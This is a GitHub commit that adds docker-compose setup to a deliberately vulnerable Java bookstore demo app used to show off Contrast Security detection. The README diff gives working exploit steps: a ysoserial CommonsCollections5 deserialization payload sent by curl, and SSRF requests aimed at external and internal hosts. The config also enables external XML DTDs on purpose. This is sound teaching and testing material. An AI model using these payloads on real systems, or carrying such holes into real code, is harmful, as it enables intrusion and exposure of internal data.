Skip to content

Commit f9f0d7f

Browse files
authored
Merge pull request Contrast-Security-OSS#1 from jjarboe/master
Add docker-compose for convenience
2 parents 9fcbf95 + 4ac71ba commit f9f0d7f

File tree

9 files changed

+130
-15
lines changed

9 files changed

+130
-15
lines changed

.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -28,3 +28,6 @@ target/
2828

2929
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
3030
hs_err_pid*
31+
32+
contrast_security-*.yaml
33+
docker-compose-override.yml

PROD/info

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
This is info about PROD

README.md

+32-12
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,18 @@ The bookstore-debug app is a Dropwizard app that offers info to the devs:
3434

3535
The first step is to start all 3 of the services, which will run on ports 8000, 8001 and 8002, respectively.
3636

37-
Each service has a Dockerfile to make running 1 step. Consult each service's `README.md` to see the commands.
37+
To start normally:
38+
```
39+
$ docker-compose up
40+
```
41+
42+
To start with Contrast enabled, first edit contrast_security.yaml with your agent credentials, then:
43+
```
44+
$ cp /path/to/contrast.jar .
45+
$ docker-compose -f docker-compose.yml -f docker-compose-contrast.yml up
46+
```
47+
48+
If you don't want to use docker-compose, each service has a Dockerfile to make running 1 step. Consult each service's `README.md` to see the commands.
3849

3950
### Using the services
4051

@@ -66,7 +77,7 @@ $ curl http://localhost:8000/debug
6677
```
6778

6879
## Detecting the vulnerabilities
69-
To add the Java Agent to all the services above:
80+
To detect the vulnerabilities, start the apps with Contrast enabled as described above. Then use the services to exercise the code. It should not be necessary to exploit the vulnerabilities, in order for Contrast to identify the vulnerabilities.
7081

7182
## Exploiting the Vulnerabilities
7283

@@ -92,16 +103,22 @@ type.
92103

93104
To exploit this, we must first make an exploit that creates a file in `/tmp` as a proof-of-concept:
94105
```
95-
$ git clone ysoserial
96-
$ docker run ysoserial-bookstore CommonsCollections5 'touch /tmp/hacked' > commonscollections5.ser
106+
$ git clone https://github.com/frohoff/ysoserial
107+
$ cd ysoserial
108+
$ docker build -t ysoserial .
109+
$ docker run --rm ysoserial CommonsCollections5 '/usr/bin/touch /tmp/hacked' > commonscollections5.ser
97110
```
98111

99112
Now you can send the exploit generated in the `commonscollections5.ser` file:
100113
```
101-
$ curl -vv -X POST -H "Content-Type: application/octet-stream" --data-binary @commonscollections5.ser http://localhost:8001/update
114+
$ curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@commonscollections5.ser" http://localhost:8001/update
102115
```
103116

104-
To prove that we created this `/tmp/hacked` file, we must shell into the running container. Let's get the ID:
117+
To prove that we created this `/tmp/hacked` file, we must shell into the running container.
118+
119+
If you started with docker-compose, the container ID is something like java-microservice-sample-apps_bookstore-datamanager_1.
120+
121+
If you ran the containers manually, you can start with the ID:
105122
```
106123
$ docker ps
107124
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
@@ -110,16 +127,19 @@ CONTAINER ID IMAGE COMMAND CREATED
110127

111128
Now, using that container ID, we shell into the container and confirm the exploit created the `/tmp/hacked` file:
112129
```
113-
$ docker exec -it 3729e1f30284 bash
114-
\# ls -al /tmp
130+
$ docker exec -it java-microservice-sample-apps_bookstore-datamanager_1 ls -al /tmp/hacked
115131
...
116-
*/tmp/hacked*
132+
-rw-r--r-- 1 root root 0 <time> /tmp/hacked
117133
```
118134

119-
### Same-Site Request Forgery (SSRF)
120-
The `bookstore-frontend` exposes a "info" service, only intended for developers. It is intended to be used to rertieve data about diffferent developer environments, but it can be used to force the app to retrieve data from other URLs:
135+
### Server Side Request Forgery (SSRF)
136+
The `bookstore-frontend` exposes a "info" service, only intended for developers. It is intended to be used to rertieve data about different developer environments, but it can be used to force the app to retrieve data from other URLs:
121137
```
122138
$ curl http://localhost:8002/application/info?env=google.com/?
123139
```
124140

125-
Obviously in this case we ask the server to retrieve Google content, but it could as easily be pointed towards URLs typically only accessed within your perimeter.
141+
Obviously in this case we ask the server to retrieve Google content, but it could as easily be pointed towards URLs typically only accessed within your perimeter.
142+
143+
```
144+
$ curl http://localhost:8002/application/info?env=SECRET
145+
```

SECRET/info

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
This is info that should only be accessible from the internal network

bookstore-data-manager/Dockerfile

+1-1
Original file line numberDiff line numberDiff line change
@@ -4,5 +4,5 @@ WORKDIR /app
44
COPY pom.xml .
55
COPY src ./src
66

7-
EXPOSE 8000
7+
EXPOSE 8001
88
ENTRYPOINT ["mvn","spring-boot:run"]

bookstore-frontend/src/main/java/acme/frontend/ServicePaths.java

+6-2
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,10 @@ final class ServicePaths {
77

88
private ServicePaths() { }
99

10-
static String DEBUG_URL = "http://localhost:8002/application/";
11-
static String DATA_MANAGER_URL = "http://localhost:8001/";
10+
//static String DEBUG_URL = "http://localhost:8002/application/";
11+
static String DEBUG_URL = "http://bookstore-devservice:8002/application/";
12+
13+
14+
// static String DATA_MANAGER_URL = "http://localhost:8001/";
15+
static String DATA_MANAGER_URL = "http://bookstore-datamanager:8001/";
1216
}

contrast_security.yaml

+13
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
api:
2+
url: https://eval.contrastsecurity.com/Contrast/
3+
service_key:
4+
api_key:
5+
user_name:
6+
7+
#agent:
8+
# logger:
9+
# level: debug
10+
11+
server:
12+
name: bookstore-server
13+
environment: development

docker-compose-contrast.yml

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
version: "3.0"
2+
services:
3+
bookstore-datamanager:
4+
volumes:
5+
- "./contrast_security.yaml:/etc/contrast/java/contrast_security.yaml"
6+
- "./contrast.jar:/tmp/contrast.jar"
7+
environment:
8+
- "CONTRAST__AGENT__JAVA__STANDALONE_APP_NAME=Bookstore Data Manager"
9+
- "CONTRAST__AGENT__CONTRAST_WORKING_DIR=/tmp/contrast"
10+
- "CONTRAST__AGENT__LOGGER__STDOUT=true"
11+
- "CONTRAST__SERVER__ENVIRONMENT=development"
12+
- "JAVA_TOOL_OPTIONS=-javaagent:/tmp/contrast.jar"
13+
bookstore-devservice:
14+
volumes:
15+
- "./contrast_security.yaml:/etc/contrast/java/contrast_security.yaml"
16+
- "./contrast.jar:/tmp/contrast.jar"
17+
environment:
18+
- "CONTRAST__AGENT__JAVA__STANDALONE_APP_NAME=Bookstore Devservice"
19+
- "CONTRAST__AGENT__CONTRAST_WORKING_DIR=/tmp/contrast"
20+
- "CONTRAST__AGENT__LOGGER__STDOUT=true"
21+
- "CONTRAST__SERVER__ENVIRONMENT=development"
22+
- "JAVA_TOOL_OPTIONS=-javaagent:/tmp/contrast.jar"
23+
bookstore-frontend:
24+
volumes:
25+
- "./contrast_security.yaml:/etc/contrast/java/contrast_security.yaml"
26+
- "./contrast.jar:/tmp/contrast.jar"
27+
environment:
28+
- "CONTRAST__AGENT__JAVA__STANDALONE_APP_NAME=Bookstore Front End"
29+
- "CONTRAST__AGENT__CONTRAST_WORKING_DIR=/tmp/contrast"
30+
- "CONTRAST__AGENT__LOGGER__STDOUT=true"
31+
- "CONTRAST__SERVER__ENVIRONMENT=development"
32+
- "JAVA_TOOL_OPTIONS=-Djavax.xml.accessExternalDTD=all -javaagent:/tmp/contrast.jar"

docker-compose.yml

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
version: "3.0"
2+
services:
3+
bookstore-datamanager:
4+
build: ./bookstore-data-manager
5+
ports:
6+
- "8001:8001"
7+
networks:
8+
- sample-app
9+
bookstore-devservice:
10+
build: ./bookstore-devservice
11+
ports:
12+
- "8002:8002"
13+
networks:
14+
- sample-app
15+
bookstore-frontend:
16+
build: ./bookstore-frontend
17+
ports:
18+
- "8000:8000"
19+
environment:
20+
- "JAVA_TOOL_OPTIONS=-Djavax.xml.accessExternalDTD=all"
21+
networks:
22+
- sample-app
23+
PROD:
24+
image: nginx
25+
volumes:
26+
- "./PROD:/usr/share/nginx/html:ro"
27+
networks:
28+
sample-app:
29+
aliases:
30+
- PROD.acmedevinfo.local
31+
SECRET:
32+
image: nginx
33+
volumes:
34+
- "./SECRET:/usr/share/nginx/html:ro"
35+
networks:
36+
sample-app:
37+
aliases:
38+
- SECRET.acmedevinfo.local
39+
40+
networks:
41+
sample-app:

0 commit comments

Comments
 (0)